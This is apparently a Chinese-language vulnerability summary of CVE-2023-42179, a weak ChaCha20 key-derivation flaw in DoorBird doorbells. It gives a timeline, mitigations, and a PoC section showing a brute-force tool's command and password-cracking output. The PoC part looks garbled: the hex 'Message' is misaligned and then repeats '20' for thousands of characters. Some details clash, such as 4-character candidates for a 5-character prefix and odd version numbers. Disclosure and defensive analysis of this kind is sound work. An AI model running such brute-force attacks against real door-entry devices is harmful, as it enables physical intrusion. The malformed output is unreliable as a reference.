CVE-2023-42179：DoorBird 门铃认证机制弱加密缺陷及暴力破解 PoC 分析

CVE-2023-42179 漏洞总结 漏洞概述 漏洞类型：DoorBird 门铃（D1101）认证机制存在弱加密缺陷。 核心问题： - 使用 ChaCha20-Poly1305 进行认证加密，但密钥派生方式不安全。 - 密码仅使用前 5 个字符参与密钥派生，导致密钥空间极小（约 30 位）。 - 攻击者可通过监听网络广播包获取用户名/密码前缀，再结合暴力破解（约 20 分钟 CPU 计算）恢复完整密码。 影响：攻击者可伪造通信、执行任意用户命令（如开门），甚至通过监听学习 5 字符密码后无需额外工作即可重放。 影响范围 受影响设备：DoorBird 门铃 D11x 系列（固件版本 ≤ 140）。 受影响版本：固件版本 141 已修复；D11x 和 D1812 系列受影响。 时间线： - 2023-08-24：向厂商发送安全联系请求 - 2023-08-25：收到联系信息 - 2023-08-27：报告漏洞及 PoC（Git 21c5d524） - 2023-09-30：厂商确认漏洞 - 2023-10-20：厂商发布修复固件版本 141 - 2023-10-23：厂商确认 D11x 系列已打补丁 - 2023-11-24：厂商确认 D1812 系列已打补丁 - 2026-08-12：公开披露（“我忘了，抱歉，它已修复”） 修复方案 厂商侧： - 替换不安全的加密构造（ChaCha20 密钥派生方式）。 - 降低无效密码尝试的速率限制（原为 200 req/s，建议降至 50 req/s）。 用户侧： - 将前 5 个字符视为不安全，应更改为不可预测的 10 字符密码（Android 5.2.21 0.023 版本支持）。 - 使用 Ethernet 替代 Wi-Fi，并通过 IEEE 802.1Q VLAN 隔离网络。 POC 代码 1. 暴力破解密码（C++） ```bash $ make && ./db_bruteforce pkt 64 [...] 62480000 / 91612832 (68.2%) using 64 processes: Qd6S in 1440 secs (433672 tries/sec, estimate) 62480000 / 91612832 (68.2%) using 64 processes: Qd6S in 1440 secs (433672 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: Qr4w in 1441 secs (433693 tries/sec, estimate) 62590000 / 91612832 (68.2%) using 64 processes: QhC1 in 1442 secs (433709 tries/sec, estimate) 62590000 / 91612832 (68.2%) using 64 processes: Qr4w in 1442 secs (433704 tries/sec, estimate) 62590000 / 91612832 (68.2%) using 64 processes: QhF1 in 1442 secs (433704 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: QhF1 in 1442 secs (433705 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: Qw1x in 1443 secs (433792 tries/sec, estimate) Message: 66f6f67213130322020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2023-42179：DoorBird 门铃认证机制弱加密缺陷及暴力破解 PoC 分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2023-42179：DoorBird 门铃认证机制弱加密缺陷及暴力破解 PoC 分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！